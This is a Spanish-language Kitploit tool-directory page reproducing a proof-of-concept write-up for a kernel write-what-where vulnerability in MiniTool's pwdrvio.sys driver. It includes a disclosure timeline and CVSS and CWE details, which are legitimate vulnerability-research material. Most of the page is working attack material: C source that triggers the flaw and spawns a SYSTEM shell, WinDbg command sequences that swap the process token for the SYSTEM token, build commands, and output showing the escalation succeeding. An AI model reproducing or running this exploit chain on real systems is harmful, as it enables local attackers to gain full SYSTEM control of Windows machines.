Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-36981-Kernel-EoP-PoC — Feb 2026 / Vulnerabilidad de corrupción de memoria en el controlador del kernel de MiniTool. Demuestra una primitiva de escritura arbitraria en el kernel asistida por depurador que puede aprovecharse para la escalada de privilegios. | Kitploit
Herramientas/GitHubGitHub/canomer/cve-2026-36981-kernel-eop-poc
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónDepuradoresFuzzingAnálisis de MalwareExplotación de Binarios
GitHubcanomer/cve-2026-36981-kernel-eop-poc

CVE-2026-36981-Kernel-EoP-PoC

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Feb 2026 / Vulnerabilidad de corrupción de memoria en el controlador del kernel de MiniTool. Demuestra una primitiva de escritura arbitraria en el kernel asistida por depurador que puede aprovecharse para la escalada de privilegios.

Ver Repositorio
2hace 3 mesesAún no revisado

CVE-2026-36981-Kernel-EoP-PoC

Condición de escritura-qué-dónde (write-what-where) en el kernel dentro del controlador de kernel pwdrvio.sys de MiniTool. Demuestra una primitiva de escritura arbitraria al kernel asistida por depurador que puede aprovecharse para la escalada de privilegios.

  • 2026-02-09 Proveedor notificado
  • 2026-03-05 Proveedor reconoció el problema
  • 2026-03-05 CVE solicitado a MITRE
  • 2026-05-10 Divulgación pública tras el período de divulgación coordinada de 90 días

https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e

Escritura Arbitraria al Kernel → Escalada Local de Privilegios (LPE) Gravedad: ALTA
Puntuación CVSS 3.1: 7.8 (LPE) Cadena de Vector CVSS:

  • LPE: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

    • Primitiva de escritura arbitraria al kernel asistida por depurador que puede aprovecharse para la escalada de privilegios.
    • Explotable mediante primitiva write-what-where en el offset 0x1641 del controlador
    • Requiere herramientas de depuración del kernel para una explotación fiable
    • Confirmado en Windows 10 Build 19045.6466

Prerrequisitos del Ataque:

  • Acceso local al sistema objetivo
  • Cuenta de usuario estándar (no administrador)
  • MiniTool instalado o desinstalado (controlador pwdrvio.sys cargado)

Resultados de la Explotación: LPE - Escalada de privilegios asistida por depurador demostrada (NT AUTHORITY / SYSTEM), compromiso completo del sistema

Cronología del Descubrimiento de la Vulnerabilidad

Fuzzing Inicial y Descubrimiento de BSOD

Fecha: 5 de febrero de 2026
Actividad: Fuzzing sistemático del controlador de kernel mediante un fuzzer Python personalizado

Proceso de Descubrimiento:

  1. Selección del Objetivo:

    • Enumeró los controladores de kernel instalados en la VM de Windows 10
    • Identificó pwdrvio.sys como el controlador más antiguo (marca de tiempo: 16 de junio de 2009)
    • Archivo del controlador: C:\Windows\System32\drivers\pwdrvio.sys
    • Objeto de dispositivo: \\.\PartitionWizardDiskAccesser\0
  2. Fuzzing Inicial:

    • Desarrolló un fuzzer Python usando ctypes para interactuar con el controlador
    • Envió datos aleatorios mediante WriteFile/DeviceIoControl al dispositivo del controlador
    • Resultado: Múltiples Pantallas Azules de la Muerte (BSOD)
  3. Activación del Verificador:

    • Habilitó el Verificador de Controladores para una detección mejorada de fallos ```cmd verifier /standard /driver pwdrvio.sys
    root@kitploit:~

Configuración del Verificador: ``` Verifier Flags: 0x001209bb Standard Flags Enabled: [X] Special pool [X] Force IRQL checking
[X] Pool tracking [X] I/O verification [X] Deadlock detection [X] DMA checking [X] Security checks [X] Miscellaneous checks [X] DDI compliance checking

root@kitploit:~
### Configuración de Depuración de Kernel con WinDbg
**Fecha:** 5-6 de febrero de 2026  
**Actividad:** Se estableció un entorno de depuración de kernel para el análisis de causa raíz

**Procedimiento de Configuración:**

1. **Configuración del Puerto Serie de VMware:**   ```
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
  1. Configuración del sistema operativo invitado: ```cmd REM Administrator Command Prompt bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 shutdown /r /t 0

    root@kitploit:~
  2. Conexión WinDbg del Host: ``` WinDbg → File → Attach to Kernel ├─ Port: \.\pipe\com_1 ├─ Baud Rate: 115200 ├─ Pipe: ✓ └─ Reconnect: ✓

    Result: "Kernel Debugger connection established."

    root@kitploit:~

Análisis de Causa Raíz - Descubrimiento de Escritura Arbitraria

Fecha: 6 de febrero de 2026
Actividad: Se identificó una primitiva de escritura arbitraria en el kernel

Pasos del análisis:

  1. Análisis del módulo: ``` 1: kd> lm m pwdrvio start end module name fffff805315f0000 fffff805315f8000 pwdrvio (Jun 16 2009)

    1: kd> !drvobj pwdrvio 2 Driver object (fffff805`XXXXXXXX) is for: \Driver\pwdrvio

    DriverEntry: fffff805315f6008 DriverUnload: fffff805315f1060

    Dispatch Routines: [00] IRP_MJ_CREATE fffff805315f108c [02] IRP_MJ_CLOSE fffff805315f12f8 [03] IRP_MJ_READ fffff805315f16c4 [04] IRP_MJ_WRITE fffff805315f1564 ← Target [0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404

    root@kitploit:~
  2. Descubrimiento de instrucciones vulnerables:

    Establecer un punto de interrupción en el manejador de escritura: ``` 1: kd> bp pwdrvio+0x1641 1: kd> g

    Breakpoint 0 hit pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax

    root@kitploit:~

Hallazgo crítico: ¡Se identificó una primitiva de escritura arbitraria!

  • La instrucción escribe el puntero del kernel (RAX) en la dirección [R11-0x10]
  • R11 se carga desde el marco de pila: mov r11, qword ptr [rbp+0xB8h]
  • No se realiza ninguna validación sobre la dirección de destino
  1. Análisis del estado de registros: ``` 0: kd> r rax=fffff805315f1364 ← Kernel code pointer r11=ffffe60f84c38750 ← Destination address (controlled via stack) rbp=ffffe60f84c38610 ← IRP stack frame

    0: kd> dq @rbp+0xB8 L1 ffffe60f84c386c8 ffffe60f84c38750 ← R11 loaded from here

    root@kitploit:~

Análisis de UAF a Escritura Arbitraria

Fecha: 6-7 de febrero de 2026
Actividad: Rastreo de la vulnerabilidad desde Use-After-Free hasta la condición de write-what-where

Cadena de corrupción de memoria:

  1. Asignación de IRP: ``` 0: kd> !pool @rbp Pool page ffffe60f84c38610 region is Special pool *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+ Pooltag Irp+ : I/O verifier allocated IRP packets

    root@kitploit:~
  2. Relación de Buffer: ``` 0: kd> r rsi rsi=ffffe60f828df900 ← User buffer location

    0: kd> ? @rbp - @rsi Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!

    root@kitploit:~

Análisis: El búfer del usuario NO es directamente accesible desde el marco RBP

  • RBP apunta a la estructura IRP en el pool del kernel
  • El búfer del usuario está en una región de memoria diferente
  • El desplazamiento RBP+0xB8 no apunta al búfer controlado por el usuario
  1. Condición de Use-After-Free:

    El controlador mantiene punteros colgantes en la estructura IRP: ```c // Ghidra decompilation (pwdrvio+0x1564) longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP

    // No validation! lVar5 = IoBuildAsynchronousFsdRequest(...);

    // Write to [lVar1 - 0x10] *(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!

    root@kitploit:~

Desarrollo de Escalada de Privilegios Local

Fecha: 7-8 de febrero de 2026
Actividad: Desarrollo de técnica de robo de tokens

Estrategia de Explotación:

Objetivo: Sobrescribir el token del proceso actual con el token de SYSTEM

Estructura EPROCESS de Windows:``` +0x000 Pcb : _KPROCESS ... +0x4b8 Token : _EX_FAST_REF ← Token pointer location

root@kitploit:~
**Procedimiento de Robo de Tokens:**

1. **Localizar el Proceso SYSTEM:**   ```
   0: kd> !process 4 0
   PROCESS ffffe7875ac86200
       SessionId: none  Cid: 0004    Peb: 00000000
       Image: System
   
   0: kd> dq ffffe7875ac86200+4b8 L1
   ffffe787`5ac866b8  ffffc08e`6642f04f  ← SYSTEM token value
  1. Localizar el proceso del atacante: ``` 0: kd> !process 0 0 poc1.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Image: poc1.exe

    0: kd> dq ffffe78760150080+4b8 L1 ffffe78760150538 ffffc08e6c37a066 ← Standard user token

    root@kitploit:~
  2. Calcular la dirección objetivo: ``` Target = TokenPointer + 0x10 = 0xffffe78760150538 + 0x10 = 0xffffe78760150548

    Reason: Instruction uses [R11-0x10], so: (Target + 0x10) - 0x10 = Target

    root@kitploit:~
  3. Realizar sobrescritura de token: ``` 0: kd> r rax = ffffc08e6642f04f ; SYSTEM token 0: kd> r r11 = ffffe78760150548 ; Target address 0: kd> p ; Execute: mov [r11-10h],rax

    0: kd> dq ffffe78760150538 L1 ; Verify ffffe78760150538 ffffc08e6642f04f ← Token successfully changed!

    root@kitploit:~
  4. Restaurar la ejecución: ``` 0: kd> r rip = pwdrvio + 165f ; Skip to safe return 0: kd> r eax = 0 ; Return success 0: kd> bc * ; Clear breakpoints 0: kd> g ; Continue execution

    root@kitploit:~

Resultado: ¡El proceso ahora tiene privilegios de SYSTEM!

Vulnerabilidad #1: Escritura arbitraria en el kernel que conduce a LPE

Clasificación CWE

  • CWE-787: Escritura fuera de los límites
  • CWE-123: Condición de escritura-qué-dónde
  • CWE-782: IOCTL expuesto con control de acceso insuficiente

Detalles de la vulnerabilidad

Ubicación: pwdrvio.sys offset 0x1641
Ensamblador:```assembly pwdrvio+0x1633: mov r11, qword ptr [rbp+0xB8h] ; Load pointer from IRP pwdrvio+0x1641: mov qword ptr [r11-10h], rax ; Arbitrary write!

root@kitploit:~
**Mecanismo de activación:**```c
HANDLE hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
                            GENERIC_READ | GENERIC_WRITE,
                            0, NULL, OPEN_EXISTING, 0, NULL);

char buffer[0x100];
DWORD bytesReturned;
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

Limitaciones de explotación:

Esta vulnerabilidad requiere herramientas de depuración del kernel para una explotación fiable porque:

  1. Desafío del control de registros:

    • El registro de destino R11 se carga desde [RBP+0xB8]
    • RBP apunta al marco de pila del IRP en el pool del kernel
    • El búfer del usuario está en una región de memoria diferente (desplazamiento de 35MB+)
    • No se puede controlar directamente [RBP+0xB8] desde el búfer del usuario
  2. Diseño de la memoria del pool: ``` RBP (IRP frame): 0xffffe60f84c38610 User buffer: 0xffffe60f828df900 Difference: 35,823,344 bytes (35 MB)

    root@kitploit:~
  3. Intervención manual requerida:

    • Establecer el registro R11 en la dirección objetivo mediante el depurador
    • Establecer el registro RAX en el valor del token SYSTEM
    • Ejecutar la instrucción
    • Restaurar el flujo de ejecución

Puntuación CVSS 3.1: 7.8 (ALTA)

Métricas:

  • Vector de ataque (AV): Local - Requiere acceso local al sistema
  • Complejidad del ataque (AC): Baja - No se necesitan condiciones especiales
  • Privilegios requeridos (PR): Bajos - Un usuario estándar es suficiente
  • Interacción del usuario (UI): Ninguna - No se requiere interacción del usuario
  • Alcance (S): Sin cambios - Misma autoridad de seguridad
  • Confidencialidad (C): Alta - Acceso completo al sistema de archivos
  • Integridad (I): Alta - Modificación completa del sistema
  • Disponibilidad (A): Alta - Puede bloquear o deshabilitar el sistema

Código completo y explotación

Código:``` C #include <windows.h> #include <stdio.h>

int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];

root@kitploit:~
printf("[*] MiniTool PoC Trigger...\n");
printf("[*] Current User: "); system("whoami");

// 1. Connect to the Driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0", 
                      GENERIC_READ | GENERIC_WRITE, 
                      0, NULL, OPEN_EXISTING, 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Cannot Open Driver! Error: %d\n", GetLastError());
    return 1;
}

printf("[+] Connected. WinDbg - BP 1641.\n");
printf("[!] WinDbg - Token Change - 'g'.\n");

getchar(); // Breakpoint of WinDbg

// 2. Trigger the Vulnerability (Sending Random Data to Driver)
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

printf("[*] Completed. SYSTEM Shell Opening...\n");

// 3. If we token is changed - SYSTEM Shell
system("whoami && cmd.exe");

return 0;

}

root@kitploit:~
**Cómo compilar:**
* MinGW en Linux```
┌──(PC㉿PC)-[/dir]
└─$ x86_64-w64-mingw32-gcc LPE_PoC.c -o LPE_PoC.exe -lntdll -static

Proceso de WinDbg:

  • Cuando nuestro punto de interrupción se activó``` 1: kd> bp pwdrvio+0x1641 1: kd> g Breakpoint 0 hit Unable to load image pwdrvio.sys, Win32 error 0n2 pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax 1: kd> !process 0 0 poc1.exe PROCESS ffff9d8f6401f080 SessionId: 1 Cid: 1948 Peb: 27a2a7000 ParentCid: 16ac DirBase: 1b2528000 ObjectTable: ffffc2093fb93140 HandleCount: 58. Image: poc1.exe

1: kd> dq ffff9d8f6401f080+4b8 L1 ffff9d8f6401f538 ffffc20940117738 1: kd> dq ffff9d8f6401f538 L1 ffff9d8f6401f538 ffffc20940117738 1: kd> !process 4 0 Searching for Process with Cid == 4 PROCESS ffff9d8f5f069040 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 001aa000 ObjectTable: ffffc2093447ac40 HandleCount: 2517. Image: System

1: kd> dq ffff9d8f5f069040+4b8 L1 ffff9d8f5f0694f8 ffffc2093441d8df 1: kd> r rax = ffffc2093441d8df 1: kd> r r11 = ffff9d8f6401f538 + 10 1: kd> p pwdrvio+0x1645: fffff805315f1645 488d442440 lea rax,[rsp+40h] 1: kd> dq ffff9d8f6401f538 L1 ffff9d8f6401f538 ffffc209`3441d8df 1: kd> r rip = pwdrvio + 0x165f 1: kd> r eax = 0 1: kd> bc * 1: kd> g

root@kitploit:~
**Salida del terminal:**``` PowerShell
PS C:\Users\standarduser\directory> whoami # Standard User Identification
PC\standarduser
PS C:\Users\standarduser\directory> whoami /priv # Standard User Privs

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                        State
============================= ================================== ========
SeShutdownPrivilege           Sistemi kapat                      Disabled
SeChangeNotifyPrivilege       Çapraz geçiş denetimini atla       Enabled
SeUndockPrivilege             Bilgisayarı takma biriminden çıkar Disabled
SeIncreaseWorkingSetPrivilege İşlem çalışma kümesini artır       Disabled
SeTimeZonePrivilege           Saat dilimini değiştir             Disabled

PS C:\Users\standarduser\directory> whoami /groups # Standard User Groups

GROUP INFORMATION
-----------------

Group Name                                                Type             SID          Attributes                      
========================================================= ================ ============ ==================================================
Everyone                                                  Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap ve Administrators grubunun üyesi Well-known group S-1-5-114    Group used for deny only        
BUILTIN\Administrators                                    Alias            S-1-5-32-544 Group used for deny only        
BUILTIN\Users                                             Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                                  Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
KONSOL OTURUMU AÇMA                                       Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users                          Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                            Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap                                  Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                                     Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication                          Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Orta Zorunlu Düzey                         Label            S-1-16-8192                                  
PS C:\Users\standarduser\directory>

PS C:\Users\standarduser\directory> .\poc1.exe # PoC Execution
[*] MiniTool PoC Tetikleyici Baslatiliyor...
[*] Mevcut Kullanici: desktop-usp1rvs\kali
[+] Surucu baglantisi basarili. WinDbg'da BP 1641 bekleyin.
[!] WinDbg'da Token'i degistirdikten sonra 'g' deyin.

[*] Islem tamamlandi. SYSTEM Shell acilmaya calisiliyor...
nt authority\system
Microsoft Windows [Version 10.0.19045.3803]
(c) Microsoft Corporation. Tüm hakları saklıdır.

C:\Users\standarduser\directory>whoami # Elevated User Identification
nt authority\system

C:\Users\standarduser\directory>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                                     State
========================================= =============================================================================== ========
SeCreateTokenPrivilege                    Belirteç nesnesi oluştur                                                        Disabled
SeAssignPrimaryTokenPrivilege             İşlem düzeyi belirtecini değiştir                                               Disabled
SeLockMemoryPrivilege                     Sayfaları bellekte kilitle                                                      Enabled
SeIncreaseQuotaPrivilege                  İşlem için bellek kotaları ayarla                                               Disabled
SeTcbPrivilege                            İşletim sisteminin parçası gibi davran                                          Enabled
SeSecurityPrivilege                       Denetimi ve güvenlik günlüğünü yönet                                            Disabled
SeTakeOwnershipPrivilege                  Dosyaların veya diğer nesnelerin sahipliğini al                                 Disabled
SeLoadDriverPrivilege                     Aygıt sürücüleri yükle ve kaldır                                                Disabled
SeSystemProfilePrivilege                  Sistem performansı profili oluştur                                              Enabled
SeSystemtimePrivilege                     Sistem saatini değiştir                                                         Disabled
SeProfileSingleProcessPrivilege           Tek işlem profili oluştur                                                       Enabled
SeIncreaseBasePriorityPrivilege           Zamanlama önceliğini artır                                                      Enabled
SeCreatePagefilePrivilege                 Disk belleği dosyası oluştur                                                    Enabled
SeCreatePermanentPrivilege                Kalıcı paylaşılan nesneler oluştur                                              Enabled
SeBackupPrivilege                         Dosya ve dizinleri yedekle                                                      Disabled
SeRestorePrivilege                        Dosya ve dizinleri geri yükle                                                   Disabled
SeShutdownPrivilege                       Sistemi kapat                                                                   Disabled
SeDebugPrivilege                          Programların hatalarını ayıkla                                                  Enabled
SeAuditPrivilege                          Güvenlik denetimleri oluştur                                                    Enabled
SeSystemEnvironmentPrivilege              Üretici yazılımı ortam değerlerini değiştir                                     Disabled
SeChangeNotifyPrivilege                   Çapraz geçiş denetimini atla                                                    Enabled
SeUndockPrivilege                         Bilgisayarı takma biriminden çıkar                                              Disabled
SeManageVolumePrivilege                   Birim bakım görevleri gerçekleştir                                              Disabled
SeImpersonatePrivilege                    Kimlik doğrulamasından sonra istemcinin özelliklerini al                        Enabled
SeCreateGlobalPrivilege                   Genel nesneler oluştur                                                          Enabled
SeTrustedCredManAccessPrivilege           Kimlik Bilgileri Yöneticisi'ne güvenilen arayan olarak eriş                     Disabled
SeRelabelPrivilege                        Nesne etiketini değiştir                                                        Disabled
SeIncreaseWorkingSetPrivilege             İşlem çalışma kümesini artır                                                    Enabled
SeTimeZonePrivilege                       Saat dilimini değiştir                                                          Enabled
SeCreateSymbolicLinkPrivilege             Simgesel bağlantılar oluştur                                                    Enabled
SeDelegateSessionUserImpersonatePrivilege Aynı oturumdaki farklı bir kullanıcı için bir kimliğe bürünme belirteci edinin. Enabled

C:\Users\standarduser\directory>whoami /groups

GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
BUILTIN\Administrators               Alias            S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Sistem Zorunlu Düzeyi Label            S-1-16-16384

Prueba de Concepto y Pasos de Reproducción

Requisitos Previos

Entorno de Prueba:

  • Sistema Operativo: Windows 10 Home Build 19045.6466
  • Arquitectura: x64
  • Versión de MiniTool: Partition Wizard 13.5
  • Controlador: pwdrvio.sys (fechado el 16 de junio de 2009)
  • Cuenta de Usuario: Usuario estándar (no administrador)

Herramientas Requeridas:

  • Para LPE: WinDbg (Depurador de Windows), VMware Workstation

Reproducción #2: Escalada de Privilegios Local (Asistida por WinDbg)

Paso 1: Configuración del Entorno de Depuración del Kernel

A. Configuración de VMware

  1. Abra la configuración de la VM en VMware Workstation Pro
  2. Agregar Hardware → Puerto Serie
  3. Configure:
    • Conexión: "Usar tubería con nombre"
    • Tubería con nombre: \\.\pipe\com_1
    • Extremo: "Este es el servidor"
    • Otro extremo: "Una aplicación"
    • Modo de E/S: ✓ Ceder CPU en sondeo
  4. Guarde e inicie la VM

B. Configuración del Sistema Operativo Invitado```cmd REM Administrator Command Prompt in VM C:> bcdedit /debug on The operation completed successfully.

C:> bcdedit /dbgsettings serial debugport:1 baudrate:115200 The operation completed successfully.

C:> bcdedit /dbgsettings debugtype Serial debugport 1 baudrate 115200

C:> shutdown /r /t 0

root@kitploit:~
**C. Configuración de WinDbg en el host**

1. Abre WinDbg (x64)
2. Archivo → Depuración de kernel (Ctrl+K)
3. Configura:
   - Pestaña: COM
   - Puerto: `\\.\pipe\com_1`
   - Velocidad de baudios: 115200
   - ✓ Pipe
   - ✓ Reconnect
4. Haz clic en Aceptar

Espera el mensaje de conexión:```
Opened \\.\pipe\com_1
Waiting to reconnect...
Connected to Windows 10 19041 x64 target
Kernel Debugger connection established.

1: kd>

Paso 2: Compilar la Prueba de Concepto

Guárdalo como lpe_poc.c:```c #include <windows.h> #include <stdio.h>

int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];

root@kitploit:~
printf("[*] MiniTool pwdrvio.sys LPE PoC\n");
printf("[*] Current user: ");
system("whoami");

// Open driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0", 
                      GENERIC_READ | GENERIC_WRITE, 
                      0, NULL, OPEN_EXISTING, 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to open driver (Error: %d)\n", GetLastError());
    return 1;
}

printf("[+] Driver opened successfully\n");
printf("[!] Waiting for WinDbg manipulation...\n");
printf("[!] Set breakpoint: bp pwdrvio+0x1641\n");
printf("[!] Press ENTER when ready...\n");

getchar();  // Wait for WinDbg setup

// Trigger vulnerability
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

printf("[*] Exploitation complete\n");
printf("[*] Spawning SYSTEM shell...\n");

// If successful, this CMD will have SYSTEM privileges
system("whoami && cmd.exe");

CloseHandle(hDevice);
return 0;

}

root@kitploit:~
**Compilar en Linux/WSL:**```bash
x86_64-w64-mingw32-gcc lpe_poc.c -o lpe_poc.exe -lntdll -static

Paso 3: Ejecutar la explotación

A. Iniciar el PoC en la VM (Usuario estándar)```cmd C:> whoami desktop-lfkkhu2\standard_user

C:> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State ============================= ================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

[Limited privileges - no SeDebugPrivilege]

C:> lpe_poc.exe [] MiniTool pwdrvio.sys LPE PoC [] Current user: desktop-lfkkhu2\standard_user [+] Driver opened successfully [!] Waiting for WinDbg manipulation... [!] Set breakpoint: bp pwdrvio+0x1641 [!] Press ENTER when ready...

[WAIT - Do not press ENTER yet]

root@kitploit:~
**B. Configuración y manipulación de WinDbg**```
1: kd> bp pwdrvio+0x1641
1: kd> g

Ahora pulsa ENTER en el PoC. WinDbg se detendrá:``` Breakpoint 0 hit pwdrvio+0x1641: fffff802`18b11641 498943f0 mov qword ptr [r11-10h],rax

0: kd> r rax=fffff80218b11364 rbx=0000000000000000 rcx=ffffe78761218e20 rdx=ffffe7875ff72e10 rsi=ffffe7875dd48f20 rdi=0000000000000000 rip=fffff80218b11641 rsp=ffff9f801c707100 rbp=ffffe7875ff72e10 r8=0000000000000001 r9=0000000000000000 r10=0000000000000000 r11=ffffe7875ff72f70 r12=0000000000000001 r13=ffffdf0a0c48ecd0 r14=0000000000000000 r15=ffffe78761218e20

root@kitploit:~
**C. Localizar el proceso SYSTEM y el token**```
0: kd> !process 4 0
Searching for Process with Cid == 4
PROCESS ffffe7875ac86200
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001aa000  ObjectTable: ffffc08e66444c80  HandleCount: 2471
    Image: System

0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8  ffffc08e`6642f04f  ← SYSTEM token value

D. Localizar el proceso del atacante``` 0: kd> !process 0 0 lpe_poc.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Peb: a520317000 ParentCid: 14b8 DirBase: 402a29000 ObjectTable: ffffc08e6beb0780 HandleCount: 58 Image: lpe_poc.exe

0: kd> dq ffffe78760150080+4b8 L1 ffffe78760150538 ffffc08e6c37a066 ← Current token (standard user)

root@kitploit:~
**E. Realizar Sobrescritura de Tokens**```
0: kd> r rax = ffffc08e6642f04f
0: kd> r r11 = ffffe78760150538 + 10

0: kd> r r11
r11=ffffe78760150548

0: kd> p
pwdrvio+0x1645:
fffff802`18b11645 488d442440      lea rax,[rsp+40h]

0: kd> dq ffffe78760150538 L1
ffffe787`60150538  ffffc08e`6642f04f  ← Token successfully changed!

F. Restaurar la ejecución``` 0: kd> r rip = pwdrvio + 165f 0: kd> r eax = 0 0: kd> bc * 0: kd> g

root@kitploit:~
**C. Verificar la escalada de privilegios en la VM**```
[*] Exploitation complete
[*] Spawning SYSTEM shell...
nt authority\system

Microsoft Windows [Version 10.0.19045.6466]

C:\> whoami
nt authority\system

C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                            Description                          State
========================================= ==================================== ========
SeCreateTokenPrivilege                    Create a token object                Disabled
SeAssignPrimaryTokenPrivilege             Replace a process level token        Disabled
SeLockMemoryPrivilege                     Lock pages in memory                 Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process   Disabled
SeTcbPrivilege                            Act as part of the operating system  Enabled
SeSecurityPrivilege                       Manage auditing and security log     Disabled
SeTakeOwnershipPrivilege                  Take ownership of files/objects      Disabled
SeLoadDriverPrivilege                     Load and unload device drivers       Disabled
SeSystemProfilePrivilege                  Profile system performance           Enabled
SeSystemtimePrivilege                     Change the system time               Disabled
SeProfileSingleProcessPrivilege           Profile single process               Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority         Enabled
SeCreatePagefilePrivilege                 Create a pagefile                    Enabled
SeCreatePermanentPrivilege                Create permanent shared objects      Enabled
SeBackupPrivilege                         Back up files and directories        Disabled
SeRestorePrivilege                        Restore files and directories        Disabled
SeShutdownPrivilege                       Shut down the system                 Disabled
SeDebugPrivilege                          Debug programs                       Enabled  ← SYSTEM!
SeAuditPrivilege                          Generate security audits             Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values   Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking             Enabled
SeUndockPrivilege                         Remove computer from docking         Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks     Disabled
SeImpersonatePrivilege                    Impersonate a client after auth      Enabled
SeCreateGlobalPrivilege                   Create global objects                Enabled
SeTrustedCredManAccessPrivilege           Access Credential Manager as trusted Disabled
SeRelabelPrivilege                        Modify an object label               Disabled
SeIncreaseWorkingSetPrivilege             Increase a process working set       Enabled
SeTimeZonePrivilege                       Change the time zone                 Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                Enabled
SeDelegateSessionUserImpersonatePrivilege Impersonate other session users      Enabled

C:\> whoami /groups

GROUP INFORMATION
-----------------
Group Name                           Type             SID          Attributes
==================================== ================ ============ =======================================
BUILTIN\Administrators               Alias            S-1-5-32-544 Enabled by default, Enabled, Owner
Everyone                             Well-known group S-1-1-0      Mandatory, Enabled by default, Enabled
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory, Enabled by default, Enabled
Mandatory Label\System Mandatory Level Label          S-1-16-16384 ← SYSTEM integrity!

MiniTool Software:``` Product: MiniTool Partition Wizard Version: 13.5 Installation Path: C:\Program Files\MiniTool Partition Wizard Driver Path: C:\Windows\System32\drivers\pwdrvio.sys Driver Date: June 16, 2009 (0x4A36F8D1) Driver Size: 32,256 bytes

root@kitploit:~
**Herramientas de prueba:**```
WinDbg Version:        10.0.29507.1001 AMD64
Python Version:        3.x with ctypes
Compiler:              x86_64-w64-mingw32-gcc (MinGW)
Verifier:              Windows Driver Verifier (Standard flags)

Versiones Afectadas

Confirmadas como Vulnerables

Producto Principal:

  • MiniTool Partition Wizard 13.5
  • Todas las versiones anteriores que usan pwdrvio.sys

Detalles del Controlador:``` File Name: pwdrvio.sys File Version: [Not available] File Size: 32,256 bytes (31.5 KB) Time Stamp: 0x4A36F8D1 (June 16, 2009, 04:43:45 UTC) Digital Signature: [Signed by vendor] Device Name: \.\PartitionWizardDiskAccesser\0 Service Name: pwdrvio Load Order: Boot Start (SERVICE_BOOT_START)

root@kitploit:~
### Potencialmente Afectados

Otros productos de MiniTool que pueden usar el mismo controlador:
- MiniTool Power Data Recovery
- MiniTool Partition Wizard Bootable Edition
- MiniTool ShadowMaker

**Nota:** Cada producto debe probarse individualmente para su confirmación.

### Compatibilidad con Sistemas Operativos

**Probado y Confirmado como Vulnerable:**
- Windows 10 Home Build 19045.6466 (x64)

**Motivo:** El controlador es compatible con todas las versiones modernas de Windows y no contiene comprobaciones específicas de versión.

